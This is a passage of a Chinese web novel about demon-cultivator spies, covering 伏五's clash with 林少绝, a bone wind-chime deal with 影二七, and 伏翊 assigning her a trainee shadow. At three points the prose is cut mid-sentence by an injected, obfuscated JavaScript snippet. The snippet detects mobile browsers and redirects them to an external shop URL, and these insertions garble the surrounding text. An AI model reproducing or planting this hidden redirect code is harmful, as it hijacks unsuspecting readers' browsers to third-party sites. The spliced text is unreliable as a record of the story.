即便林少绝十分厌憎伏五的钳制,眼中流露出不甘、愤怒、羞耻等神色,也是认赌服输,不曾驱动手中的“恣骨”再行反击。他向来不喜欢与人亲近,即便对人用刑,也是用脚用具。能与他贴这么近的,之前他主动上手的乔行吟是一个,没想到,此刻对他上手的伏五,也占了一个。 他低下头,咽下血气,隔着一张金面,与乔行吟对视,但见对方瞳孔似映光,难以捉摸,疏远淡漠。边咳喘边自嘲一声:“看来是我班门弄斧,自不量力了。” 随即又在气息平复后,声音嘶哑地转而嗤笑道:“不愧是在进入三宫之前,小小年纪,便已成就了弑父这一壮举的伏五呀。” 他也不顾自己是否受制于人,双目紧紧地盯着乔行吟,当面挑衅道:“呵,没个轻重?你对自己的亲父尚且如此,对我区区一个外人,当然可以下手没个轻重了。” “怎么?伏五,我若是偏要吃这罚酒,你现在要杀了我吗?哈哈哈哈,我无所谓呀。” 乔行吟听到“弑父”二字,心止不住地下坠。父母的身影系于心头,刻骨铭心,不曾忘却,直坠出沉甸甸与死沉沉的痛楚。也许是伤痛太过,也许是泪已尽了,也许是心更坚硬……无论是哪种,她早就能让自己在每每面对这类泛起的血色回忆时快速地陷入麻木。 乔行吟平静地说道:“林殿主,想来即便你弃仙修魔,叛出家族,应当也还是到不了我这般断亲绝爱的程度,是故讥讽于我。” “我当然不会杀你。” “因为你不够格。”响在林少绝耳边的声音古井无波,“听起来,你似乎很瞧不上我流传于三宫界内的杀亲之事?你的这份不喜,我照单全收。” “那希望你今日也记住了,我与你不同、对你不屑的,又是什么——” “是你只敢借更弱者发泄,而我伏五,只向更强者出手。” “不知道林殿主是否抽空思考过,你一直以来放纵自己着魔与沉湎的,是何?又为何?”乔行吟拉开距离,拍了拍林少绝的脸。 “宫君们自今日起便会让你醉在三宫内。林殿主你不胜酒力,只怕一段时间里都得醒酒。此后,我但凡见林殿主一次,定会让你再喝一次。” “影二七,我带走了。” “林殿主,希望你从醉梦里醒来后,能做个明白人。” 林少绝抚摸着自己被乔行吟掐出道道红痕的脖颈,红晕消退的脸上,神色阴晴不定。 为什么?为什么!为什么?!为什么一个个的,非得让他想起一些讨厌的事情!他无所谓修仙修魔,无所谓自毁灵体,无所谓魔气侵体,无所谓修得怎样,无所谓以后如何,统统都无所谓!他只要自在!他只要人痛! 林少绝握紧“恣骨”,心潮翻涌,内心深处竟更生成一片排山倒海的渴望。是嗜血的渴望,是摧毁的渴望,是征服的渴望,是一种他……说不清道不明的渴望。很好,乔行吟是一个,伏五也是一个。 ——— 黑荒岩柱,是三宫界内又一奇地。 以“岩柱”入名,是因为此地风如刀刮,将山岩侵蚀得奇形怪状,长年累月之下便逐渐形成了一块块坚硬无比又岩锋薄利的岩柱,宛若朝天黑刀插于地面,地貌独特。 以“黑荒”形容,则是因为此地天昏地暗,加之魔气凶猛凌厉,等闲魔修呆的时间若长了一些,便会因承受不住此地刚劲的魔气而遭到反噬,是故此地人烟稀少,一片荒凉,得称既“黑”又“荒”。 而且,此地常被三宫界魔修用于杀人抛尸,快死了或死透了的修者被扔于此地后,其体脉根本无法消化如此厚重的魔气,只能被魔气侵蚀吞噬。日日伴以厉风刮身,消融的枯骨逐渐与岩柱融为一体,反哺此地魔气与岩柱。 乔行吟与影二七一路来到此地,途中再没见到过半个人影。 她倒也不奇怪林少绝此前选择的是在路上拦截影二七,而不是于黑荒岩柱中守株待兔了。想来林少绝虽有参与,但最终提供与经手交易物品之人,必不是他。 若是不知晓某人在黑荒岩柱中的最终去向,置身于此地这一望无际的弯绕地势中,举目四望,处处皆重岩叠嶂,黑气遮天,哪里能找得见人。 在影二七的带领与指引下,乔行吟跃上一处岩柱,伸手在这块岩柱的缝隙中掏来掏去。 终于在摸出了好几块零零散散、尚且没有消融完毕的碎骨后,拿到了影二七口中的交易物品。 是一个白色风铃。 风铃的铃体不知由何物制成,触之只觉森冷如雪。 这铃舌倒是好分辨得很。 人骨。 乔行吟将这以白骨为铃舌的风铃置于影二七眼皮底下,问道:“百恐宫的霨殿统和林殿主,性格上,应当都不是好配合与好相与的合作对象。” “你因为此物,铤而走险,选择与他们取得联系,达成交易,只是为了增强实力?” 影二七刚要开口,乔行吟补充道:“影二七,这一路上的交谈,你在我面前也够做作了。我们之间,不用来那一套。” “你与我经历过同一道训练。即便已经过去近十年,众人也各有各的改变、际遇与造化。但在当时表现合格的基础上,也只有‘想不想’‘要不要’‘做不做’‘优不优’之分,没有‘会不会’一说。” 影二七闻言,语气中满是惶恐,急忙道:“伏五魔上,您真地误会我了,若您当年与我相处过,您就会知道,我这个人啊,一直都是这个衰样!我这心里七上八下扑通扑通的,不就是怕因为之前的一些话得罪了您,再怎么向您澄清,您都不满意、不高兴嘛!” 他的身子扭来扭去,连连弯腰,又将讨饶的话说了一遍:“只盼您大人不记小人过!我真得是为了更好地完成联监者传递的任务啊!” “我不像您,您如此优秀!如此厉害!是我们宫里难以望其项背的榜样!” “我呢,虽然走运混进了立圣渊,但能力实在不够,任务常常失败。任务失败个几次,宫里的资源便落不到我的头上,资源落不到我的头上,我更完成不了任务。这么下去,我陷入的恶性循环何时能结束?所以,我才可怜兮兮地向其他宫里的魔上,求上那么一点儿宝物傍身。” “那林殿主太过咄咄逼人,我实在没法子,才搬出您的名号来压他的!我知道他定没有那个权限和胆子去打扰您,我可没有要为您找麻烦的意思!” 他看了白色风铃一眼,依依不舍道:“这白骨铃的作用是暂时控人一两分心神。霨殿统说,这东西放在黑荒岩柱处一段时间是必须的,若我着急得很,就自己去拿。这不,去的路上就刚好被你撞见了林殿主欺负我。” “伏五魔上,我可什么都老实交代了。感谢您为我出头,这宝物我也不要了,献给您,希望您对我海涵呐!” 乔行吟心想,这影二七确实是个装傻充愣的“扮猪”人才。 先演,演得浮夸,演得拙劣。 再让他人能察觉到他是在演。 给他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289762|152098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种自觉已经看穿了他的俯视之感。从而对他轻视,嘲他平庸,不把他放在眼里。这,何尝不是一种聪明的选择呢? 她现在也难以仅凭这一次短短的接触,就自信能够对影二七判断准确。但单凭影二七与林少绝交涉时的言行举止,与途中故意颠来倒去地向她加强印象的一些话语,还是能看出他对利害关系的准确把握。 伏圣影与其他人私下交易信息这种事情,闹大了确实麻烦。联监者对他的权限缩紧也好,宫内发出警示也好,于他影二七而言,总归是有害无益。 但若真以此事对他定性,她甚至连给他扣个犯错的帽子,都难以扣上。 伏圣者与部分进入凡域的伏圣影,是重要卧底,需要长期潜伏,当然得有一些办事手段、行事方式的自由。 她们虽然在诸多方面上要带着镣铐起舞,但在另一些方面上,又可以百无禁忌。比如,卧底明面行为的用意为何、完成宫内任务的方式是否离奇、过程是否迂回等等,结果既成,前者在所不问。乔行吟也正是借着此点,推进自己的计划。 影二七此举,既没触发言禁蛊,也没对宫内的现有安排造成任何阻碍,只不过是向宫内的其他魔修透露他套来的圣徒行踪而已。即便他给不出任何正当借口,也顶多被安个“办事不老实”的名号,被宫内教育教育。魔修哪里还在乎这个? 若影二七再为自己的行为套个什么名义,就像现在这样,称自己是为了增强实力才进行一番私相授受,谁又能说这不是他完成任务的一环?他甚至都不用向宫内汇报。确实是钻得一手好漏子。 乔行吟找影二七的目的,本是想试探他在胡搏悍一事中是否有插手,摸清他的立场。如若他与她有差不多的目标,那她自当投鼠忌器,避免波及对方。 她此番阴差阳错地撞破他的私事,他当是了然于心她在跟踪他。然而,他却从未向她显露过任何不满,从未向她表示过任何质疑,如此回避,可见对她戒心之重,非她几个照面便能探清虚实。 乔行吟道:“影二七,如果我真有心与你计较,就算你再怎么抓耳挠腮,应当也给不了一个令我满意的答案。” 她将白骨铃递给影二七,接着道:“你不用避讳,我确实在此次三宫聚谈后跟踪于你。而你,应当也知道我是因为何事对你持有怀疑。此代伏圣者一系中,伏二遇难,只剩我们二人同在立圣渊,即便此前未有机缘相识,此后我们也应互相照应。不是作为上下级,而是作为朋友。” “那么,朋友的第一步,便是我先放弃怀疑,展露诚意。我会汇报宫内,通过联监者建立我们的联系通道。来日方长,说不定有一天,我们可以到推心置腹的程度。” …… 影二七握着白骨铃,沉默不语。 伏五不曾了解过影二七,反过来,影二七莫不如是。进入伏圣殿的义子义女合计六百位,被划为三区,直至每区各选出二十位义子义女后,三区方汇合,抽取伏圣影编号。他与伏五分属异区,成为伏圣影后,又因落败于那位被伏三“捅刀”而死的影五八而早早止步,与还是影十九的伏五,从未有过交汇。 向来成者出头,失者无闻。 伏翊至伏五的承名人选确定后,他方从他人的议论中,对伏五的一些事迹有所耳闻。 今日与伏五近距离接触,他觉得,还是低估了此人。 暂且不管伏五在外潜伏如何,他亲自所感,这伏五比武攻心,竟无一下乘,何其难得。以后若要对付此人,当是十分棘手。 “朋友?”影二七内心哂笑。 他的朋友,可不会有几个。并且,绝对不会是魔修。 影二七瞟了一眼手腕,自伏五离开后,最后一丝痕迹也消失了。这说明方圆百米内,终于没有人在了。 他仔细地检查、摆弄了一阵手中的白骨铃,并未发现任何异常之处,将其收入怀中,放心地启阵而归。 8. 牵四挂五(三) 万相宫的伏圣殿,隐在一片高山竹林之中。 云雾缭缭,高山巍巍,竹林青青。 华殿清竹下,来来往往的魔侍,男侍疏朗,女侍娴静,瞧来一派月明风清。 谁能想得到这幅仙气飘然的景象,竟然出现在魔域里,还是在魔域里魔气最浓的三宫界中? 本来,伏圣者黑袍红袍华美独特,伏圣影黑裳黑纱低调微玄。明明行的是“暗中作梗”“刺探卧底”的暗影秘事,端的是“潜光晦迹”“匿影藏形”的诡谲形象。然而,这陪衬之景,却是竹叶浮动,碧影悠悠;服侍之婢,却是青衫着身,清雅明畅。 对此,三宫界内众多魔修,评价创建此殿的万相宫宫君兴致品味之时,均奉上四个大字——“不敢恭维”。 表达“不敢恭维”的魔修中,尤以百恐宫宫君为甚。依她之语,最贴切的评价,应当为这四个字——“恶心死装”。 此时,竹林深处的某处内苑中,“恶心死装”的万相宫宫君之音,从一扇精美绝伦的玉雕屏风后传来:“你几时与她见面?” 伏翊道:“未时。” 万相宫宫君道:“何事?不能通过镜中瞳联系?” “就是想见见人呗。” 语毕,两人之间,又是一阵静默。 须臾,万相宫宫君沉声道:“作为她的联监者,这么上赶着与她于镜中瞳外会面。伏翊,你倒是从未让我省心过几回。” 伏翊的声音里满是不在意,“除了你与宫主,谁知道我现在是她的联监者。”他玩着自己的手指,语气散漫,“我是万相宫的殿统,又是伏圣殿的殿主,故意避开与伏圣者的接触,才更奇怪吧。” 万相宫宫君道:“看来,你对伏五,真是很放心。” 随即,万相宫宫君漠然地问道:“我问你,你认为,你对伏五有几分了解?” 伏翊道:“七分。” “呵,七分?”万相宫宫君评价道:“确实是愚不可及。” “顶多三分。” 伏翊轻笑一声:“三分?” “宫君,我和五曾并肩作战,也一直关注着她。她是怎样,不需要你来告诉我。” 万相宫宫君闻言,道:“哦?我倒是没想到,原来我儿子竟还是个情种?” 伏翊听到这句话,简直更想笑了,笑他怎么好意思能问出这句话,多年积累的怨怼之意从回应中显露一二。 “别跟我扯什么儿子不儿子的,我心中,爹娘早就死光了。从你求了这宫君之位开始,从我被扔入义子堆中开始,宫君大人的眼中,竟然还装过‘儿’这一字?” 苑外的竹影投在伏翊脸上,与万相宫宫君轮廓颇有几分相似的侧脸,在萧萧竹影中斑驳,他向来厌恶听到他与这人的这层关系,“从那时起,我只会是伏圣殿的义子七七,只会是影十三,只会是伏翊。不是你宁……哦不,我们万相宫宫君的好儿子。” 所以,这人求雅,他就越要野,这人尚温,他便越要烈。 伏翊冷笑道:“我是个情种又怎样,三宫里,什么时候还管起这个来了?” 万相宫宫君对伏翊的反问不加理会,一向温文儒雅的声音里却隐隐夹杂了些许火气,“你私下里敢这么和我说话,你以为,你依仗的是什么。一副臭脾气,一张硬嘴巴,再加上一个蠢脑袋,即便有着几分天赋,几分本事,若不是套着层层身份,单凭你自己,能凑得出个好赖?伏翊,看清楚你自己的位置。” 伏翊嗤笑道:“你唤我到此处,就是想和我说这些无聊的话?” “你说的位置,是什么位置?我怎么听不懂?” 万相宫宫君反问道:“担任她的联监者后,你心里的盘算,所做的动作,以为我不知晓?” 伏翊心里的恶气更盛,既无外人在场,他打断万相宫宫君的话语,连连顶撞,“之前不是已经证明了伏五是我们这边的吗?我想提醒她,有什么不对?你不也说了,实现宫主大计,就靠伏五了?” “况且,那个时候,若不是她,你现在还能把我喊到这儿?” 像是要提醒万相宫宫君记起什么事情般,他的语气更为讥讽。 万相宫宫君也笑了一声,笑声中满是轻视,又满是提醒:“伏五一直是一个知情识趣又乖巧省心的好孩子。所以,你和她在一起,可以。但你不要自作多情地认为,她之前所做的一些选择,是毫无私心、真情实意地为了你。伏翊,我再说一遍,你顶多了解她三分。既然已经当了她的联监者,现在,就摆正你的位置。” “她接下来一段时间的任务,便是获得逐圣帖,参与逐圣会,直至成为轶圣使。”提到“逐圣会”,万相宫宫君接下来的话语,像是从齿间碾出。 “这可不光是为了三宫,为了宫主,也是为了她自己。” “哈哈哈哈,修仙者虚伪,什么重视对未来一代的培养?!什么公平竞争?!什么‘彰宗之魂,得仙之妙,舍世之纷,但逐至圣’?!当逐圣者个人的成败,与凡域宗门、世家、组织的利益和荣耀绑定在一起后,我告诉你,成功者,耸壑凌霄。而有些落选者、失败者的下场,可比你成不了伏翊、义子义女成不了伏圣影,还要令人唏嘘。” 他打蛇打七寸:“伏翊,你若是真这么在意她,可更要干好一个联监者该干的事情。盯住她,协助她,别让她在这件事情上出任何岔子。” “不想她和伏二一般,最终落得个被宫主下令放弃的下场,你应当知道,什么是最好的方法。” …… 伏圣殿里,既青,也清。 这个清,不光指清雅,也是指清静。 众青衣魔侍,皆口不能言,可不是清静? 乔行吟重返故地,行走于重重廊檐之下,青衣魔侍一见她这身装束,便十分自然地低头屈膝,默默请安行礼。 年幼时尚且还不曾了解一些事情的她,如今有了在凡域的见识与听闻,也是品出了宫君创殿定规之时,泄于伏圣殿的某些心绪,真是—— 凡域中的五宗修士,因修行的理念、目标、特长与功法等各不相同,皆有各自的特征、推崇、作风和传统。愈是承宗所长、师出名门、修为愈强的修士,便愈是强调突显宗门文化,彰显宗门特色,以宗门传承为耀。否则,易被大家唾弃为逐末忘本、离经叛道之徒。因而体现在外在上,各宗修士风格明显,一眼能分。 崇青尚玉的,实在易辨,唯有现在势头正是如日中天的平清宗。此宗修士,追求君子之姿,讲究礼不可废,以青为贵,以玉为尊,大大小小方方面面,都划出了个三六九等,要求己宗弟子严格遵照。 伏圣殿内,处处皆是平清宗的影子,却又处处摆明了倒转乾坤。以清雅亮节的修竹为下,以不能见光的暗影为上。 满目皆青,却非钟情。 ——真是……理不清的习难改、憎难分、意难平。 乔行吟边行边思。 她在三宫界也仅能呆两日。时间紧迫,要事颇多。 试探影二七为一。 目前看来,此事不能操之过急。 当时,她借着于岩柱缝隙中故作摸索之机,在那白骨铃上附了点东西。希望那白骨铃,能够成为重要引子,带她于凡域中,层层剥开影二七的伪装。 与伏翊见面为二。 三宫聚谈前,她好说歹说,终于让伏翊松口,另约了两人见面的时间与地点,避免了聚谈结束后立马被缠上,得以见机行事,跟踪于影二七。 镜中瞳的启用次数有限,此次赴伏翊之约,倒刚好可以当面与他提上一嘴,由他作为她的联监者,搭建与影二七联监者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289763|152098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的传讯通道。 前往销魂窟为三。 销魂窟“销魂”得十分坦荡,各域各界修士想要图个消遣享受,又不怕被他人敲骨吸髓,皆可入内。销魂窟中,来者不拒,不问身份,只要有那个自信走得进去,也有那个本事走得出去。 因为种种便利,销魂窟内鱼龙混杂,除了玩乐之事,亦是三宫界乃至各域人士交换信息的第一选择。 伏翊约她见面的地点,是微熹亭后的一片竹林。 这是个老地方,两人还是伏圣影的那一年,作为搭档,没少在此处互相喂招。 但未想到她行至此处时,已经有两个身着烟灰外衫、脸覆半张银灰面纱的小小身影穿梭于竹林间。 统一的马尾,统一的装束,从身高身形来看,都是一般的劲瘦,一般的身长五尺。哦,不对,肤色略黑的那个,可能稍微高上一点。 这是两个还未正式承袭影代号的预备伏圣影,在练习基本功。 肤白的那一个孩童,运气于掌,将纷纷竹叶收于掌间,竹叶如刀,飞射而出,薄利的竹叶落于周遭竹上,印出道道切痕。 略黑的那一个孩童,在竹林中点地蹿跳,躲避对方出招射来的竹叶,但功夫技巧明显还不太熟练,身上的灰衫被划拉出一道又一道,有些地方隐隐渗出血迹。 因还未结业,两人胸前标识的伏圣影编号,仅以银线隐隐勾画,十分不明显。 乔行吟刚想凝神看看两人胸前的数字,便听见伏翊的声音。 “十三,你这力气,用来打蚊子吧。” “还有十九,你这更不行啊。都练的什么玩意儿!” “十三?十九?这不是伏翊和她的影代号吗?”乔行吟立于林间,心绪沉浮。 伏圣影的影代号,由脱颖而出的义子义女,从宫内判定即将“逝去”的旧一代伏圣影编号中随机抽取,代际之间,互相接替。预备伏圣影修成结业后,继承伏圣影编号,正式获取该影代号。 被宫内判定需要替换的当代伏圣影,会被万相宫给予两个选择。 一个选择,即直接诛杀,如同那些因任务死亡的伏圣影一般,其影代号失传,不再启用。另一个选择,便是应召回伏圣殿,参与教导环节,亲自培养抽到其编号的预备伏圣影,一对一训练,直至新一代伏圣影正式承袭他们的影代号。 失去影代号的旧一代伏圣影,完成培训任务后,便需依宫主、宫君之令进入封闭的残影峰了结余生。袭号的新一代伏圣影,可选择通过胜天榜上的排名获取资源,主动向残影峰中的旧一代伏圣影进行供给,直至其离世。 自她从影十九成为伏五、他从影十三成为伏翊之后,“十九”“十三”这两个伏圣影编号便被保留。因为,伏翊至伏五,没有替换,没有补充。一般来说,仅有当代伏圣者全员覆没之时,与之相关的代号才会被收回,由宫主、宫君再次开启对新一代伏圣者的选拔。 不属于伏圣者换代之际,伏圣者的伏圣影编号却被使用,只剩下一种特殊情况,那就是伏圣者选择发展自己的分影。 “你们看好了——”伏翊的声音继续从竹林高处向下传来。 随着伏翊声音一起入耳的,还有簌簌风声。 是竹叶。 劲射的竹叶,向乔行吟袭来。 竹叶所经路径上,一根又一根竹竿被削断,应声倒地,带起一阵又一阵散落的纷飞竹叶。 乔行吟迅疾翻身,脚踢竹身,以竹为弓,以体为箭,于竹林间上下穿梭。不仅做到了字面意义上的“片叶不沾身”,还借助摇晃不止的竹身挡住了连连袭来的竹叶。 伏翊攻势不停。 乔行吟避闪未断。 一红一黑两道身影,在苍翠竹林间追逐翻飞,直拉成往昔中小小的两道灰色身影。 9. 牵四挂五(四) 竹林间穿梭的灰衣少女道:“需要更快。” 追击的灰衣少年听罢,挥出竹叶的动作凌厉、迅猛起来。 “好吧,知道了,知道了。”喀的一声,他前方一根翠竹被拦腰切断。 灰衣少女踏叶点竹,“真知道还是假知道?你没有尽力。是还想省着力、留着劲去和三六较量?” 灰衣少年还有空挠挠脸,只用一只手飞出竹叶,从容又傲慢道:“你小瞧我?弄他,我还需要准备?” “那好。十三,你现在把我当成他。” 被唤作“十三”的灰衣少年目露嫌弃,“不要。他是什么,你是什么。我可不想把你想象成他。” 少年朗声道:“放心吧,十九,水平在这呢,对别人能使出来就行。” 名为“十九”的灰衣少女腾跃转身,手拈竹叶,转而向灰衣少年袭去,道:“十三,历经严格的训练,逼近自己的极限,方能成长与突破。” “比拼中取胜,并不是唯一的目标。” “好好好……”灰衣少年旋身闪避,掌凝劲风,略有不满,“哼,十九,你最近真是越来越严肃了!” 往昔的小小身影淡去,奔回竹林原处的,已是如今一红一黑两道身影。 伏翊停下动作,对着那两个预备伏圣影道:“看好了就记住。” “我们那个时候,甚至还比你们小几岁,哪像你们这样——”伏翊倚在一根竹子上,指尖发力,掐断一根竹子,“慢悠悠,软绵绵,轻飘飘。” 那两个伏圣影也不过十三四岁的年纪,不知是伏翊积威太盛,还是自身羞愧难当,脸上血色顿失。 十三的脑袋埋得更深了,露在衣外的手指,还在因之前的动作不住地微微颤动。十九捂着自己的伤口,不发一言。 乔行吟于训练一事,向来更看重的是态度。 她心里嘀咕。 那是,确实不像他们这样。他伏翊幼时仗着天赋过人,三天打鱼两天晒网,她催一下他动一下,哪里比得上这两人一半的努力。 她低头看了看沉默不语的两位预备伏圣影,对伏翊道:“刚开始练习,结果不好是正常的。现在还不到时候,他们在努力了。” 伏翊道:“努力?既然都努力了,那不是更要获得结果。” 乔行吟不置可否,她直视伏翊,询问道:“翊,我觉得你今天有点不对劲。怎么了?” 伏翊怔了怔,听到乔行吟关心的问话,神情有些软了下来,手里还拈着一片竹叶搓来搓去,“哪里有什么不对劲?理就是这个理。我可不想他们作为我们分影,到了外面,却被一群废物嘲笑。” 乔行吟上上下下打量着伏翊,目光怪异,“我们?翊,你收了两个分影,特意叫我来看上一眼?” “我没意见,我之前的影代号随你用。” 伏翊道:“不是我,是我们。” “我怎么不知道,我几时发展了分影?”乔行吟的嘴角不禁有点抽动,不过在面具的遮盖下,也无所谓是何种表情。 “现在啊。” “别开玩笑了,我不同意。”乔行吟拒绝得很直接。 “你之后参与逐圣会,很长一段时间里都会分身乏术,有个分影帮你不好吗。” “又不需要你来培养,我来。” 乔行吟无语了,“你来?你以为养分影跟你现在甩竹叶似的,想来就来?” 他道:“哪里有这么多讲究。我们那个时候,不是随便丢在哪儿都能长吗。” “什么时候开始的?” “几个月前咯。” “怎么从来没与我提到过?” “想给你个惊喜嘛!” 乔行吟:“……” 真是谢谢了,她最近收到的“惊喜”,也是够多啊…… “翊,发展分影,不是一件可以儿戏的事情。” 她继续推拒,“难道你不相信我的能力吗?我用不上分影。” 十九听到这句话,猛然抬头。 伏五魔上不想要他? 他其实一直有在偷偷观察。 竹林微风中,这位伏五魔上,长及脚踝的红金兜帽覆盖整身,衣袂飘飘,如携红雾金云。 其实……不止是今日,他自被伏翊殿统选中,授予编号“十九”后,便对他今后的影主——伏五魔上的事迹,多有留心。 但三宫界中,似乎没有魔修知道该怎么确切地形容伏五魔上。一方面,可能是因为伏五魔上长期潜伏在外,身份成谜。另一方面,也可能是伏五魔上行为莫测,真意难辨。 万相宫伏圣殿内的伏圣者与伏圣影,虽然不会直接对外言明生理性别,但旁人从他们的身高身形,或是幼时尚且还没发育完全的声音,还是能推测和分辨出个大概。大部分魔修皆称,伏圣者中的伏五,为女子之身,有弑父之名,争胜天之功。 照他想来,这么狠心绝情、实力强大又野心勃勃的伏圣者,怎么着,都应该得是个颇为烈性的魔修吧? 但出乎他意料的是,曾与伏五魔上打过交道的魔修,对她的印象却是“平和温柔”,隔着一层云雾似的平和温柔——平和又疏离,冷淡而温柔。 魔域中也有许多以“平和温柔”著称的人物。万相宫宫君,便是其中一个。 但这种平和温柔,往往是毒蛇斑斓的花纹,是裹着蜜糖的毒药。是伪装,是诱饵。 视人命于无物的魔修,怎么会内心平和,除了对着极个别放在心尖尖上的人,又怎么会有真正的温柔? 但今天看来,他似乎也同大家一样,说不准了。 因为伏五魔上给他的感觉。 还有伏翊殿统的反应。 说白了,关于伏五魔上的消息来源,他从伏翊殿统那儿听来的只言片语占了大头。伏翊殿统似乎很愿意谈论与伏五魔上相关的事情。每次提到伏五魔上,伏翊殿统,都像现在这样。不知道的,还以为伏五魔上才是殿统,伏翊殿统是她座下的一条恶犬,恶犬想到主人,便一下子联想到主人赐予自己的骨头与爱抚,两眼发亮。 应该只有主人对恶犬足够温柔、足够爱宠,恶犬才会如此珍视、如此渴求、如此忠心吧? 他……他甚至也有点向往。 十九心想,拥有一个分影,对于伏圣者来说,有益无害。 不会有人拒绝的,不应该有人拒绝的。 可是伏五魔上,嘴里明明说着对他和十三鼓励的话语,却拒绝了。 是他不够优秀吗? 他已经是同代里的第一了,十三也比不上他。 他不想失去这个机会。 他知道成为分影要付出代价,很大的代价。 但无论如何,他想要的是爬得更高,想要的是变得更强。 他这一代的义子义女里,能当上伏圣影,基本上已经走到头了。即便伏五魔上这一代伏圣者死绝,时间不对,机会只会是下一代的,与他没有什么关系。虽然成为伏圣影后,他也可以通过完成宫内交代的任务,在胜天榜上获得奖励。可是,在他过去的一些经历中,他其实已经察觉到一些事情。那就是,无论是修仙还是修魔,他并不拥有得天独厚的天赋,他拼的,往往是比别人更努力。如果此时不能获得关注和栽培,那他之后可能再难走上这样的道路了。 一直静立在侧的十九突然跪下,还处在変声期的少年,声音嘶哑又坚定,争取道:“伏翊殿统,伏五魔上,十九会更努力的,十九什么都能做。请允许我继承‘影十九’,请允许我成为伏五魔上的分影,十九之后不会让你们失望的。” 乔行吟眼疾手快,一把拎起十九,面向伏翊道:“自愿的?他知道分影是什么吗?” 伏翊道:“嗯,知道啊。” 她微微沉吟,问:“这孩子,是怎么进入三宫界的?” 乔行吟之所以有这一问,是因为三宫界乃至魔域,极少有天然诞生的婴孩。 本来,魔修愿意损耗双方实力,共同孕育后代的情况,就很少了。诞生在魔域,还能直接承受住魔气、没有早早夭亡的幼童,更少了。而以三宫界内所充溢的这种程度的魔气,生于此处还能存活成长的孩童,可谓是少之又少。据她目前所知,也就出了一个千恨宫宫君,一个伏翊。两人皆是个顶个的修魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289764|152098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天才,但也有着某些与生俱来的缺陷。 她观眼前的十九,不属此列。 伏翊回道:“影六七带回的。他父母双亡,被领着修魔后灭了仇家满门。” “影六七上报称他是个好苗子,便收入了万相宫。” 若将魔域比作一株树,那么,三宫界就相当于魔域的树根。是魔气最为浓郁之地,是擎柱者直接统治之地,也是历经魔杀魔、通过前带后或新换老才能入场之地。修仙也好,修魔也好,无论是哪个方向,都有“往上”一说。拜入立圣渊,求登仙域,是灵修的往上。而身入魔域,进入三宫,则是魔修的“往上”。 大部分魔修,皆是在其他地方闯出了“名声”,再被吸收入三宫的。但万相宫内的义子义女年龄皆小,甚至都做不到进入三宫界,很多人,便是由潜伏在外的伏圣影发掘带入。 她不会直接问十九为何要灭人满门。 如她这般地位的魔修,若问出这个问题,很奇怪,很愚蠢。 十九被乔行吟拎在手里,老实地一动不动。 一旁的十三仍是保持着垂目低头的模样,但此前还在微微发抖的手指却紧张得不自觉聚拢,似乎想要握拳,又克制着自己放开。 乔行吟目不转睛地盯着十九,问道:“你为什么想成为‘影十九’?” 十九虽然被对方拎在手里,却没有感到什么桎梏与不适。他不是没被人提起过领子,所以他知道,对方的动作足够妥帖与小心。 他看不见对方的具体神情,无法推测对方的态度从而采取应对之策。思索片刻,他作出了抉择,“因为成为分影才能让我变得更强。” 这是他最深处的心声。 “我不想再后悔。” “我要变得更强,强到能守护一些东西。”即便面纱挡住了他的下半张脸,从十九的上半张脸上,仍可以捕捉到一抹痛色,他在向乔行吟袒露伤口。 “守护……如果灭人满门和报仇雪恨,均是一人所为,是为了守护……该如何评判?”这个问题,乔行吟交不出答卷。但如果可以,如果她有一定的把握能控制好……她总归是……总归是更愿意给予另一个人更多的可能。 乔行吟垂下眼睫,放开十九,道:“按照宫里的规定,你们于预备伏圣影阶段的训练,不能使用魔核。除了完成翊的训练之外,我以后也会对你有诸如此类条条框框的要求,例如仅凭自身修炼,例如没我的命令不许妄动,你能做得到吗?” 十九坚定道:“能。” 伏翊清朗的笑声突然传来,他眼睛弯弯,挥了挥手,示意十三和十九可以离开了,长腿一迈,几步便走近了乔行吟,亲昵地将头搁在乔行吟的肩膀上,“我就知道,你会同意的。” 乔行吟扶正他乱蹭的额头,道:“那是。将我约到这儿,趁机让我看到他们练功的场景,还故意在我面前训斥他们。伏大殿统,花了点心思啊,之前怕是也没少向他们提点些我的信息吧。” “何况,本就是对我好的事情,若殿统下令,我最终还能不同意?” 他咕哝道:“才不是!是因为我懂你!我知道呗,你会满意十九这样的孩子。” “伏五呢,是一个认真又努力的人。” “是一个从不掉泪也从不发怒的人。” “是一个爱讲些乱七八糟道理的人。” “是一个自顾不暇时也还想着安抚和照顾身边搭档的人。” “是一个情绪有较大起伏时会遮掩眼神或沉默不语的人。” “是一个……” 他飞速地说着,如数家珍。 “五,你说!我是不是挺懂你!”伏翊语调上扬,丰神俊朗的脸上虎牙微露,笑容明媚。 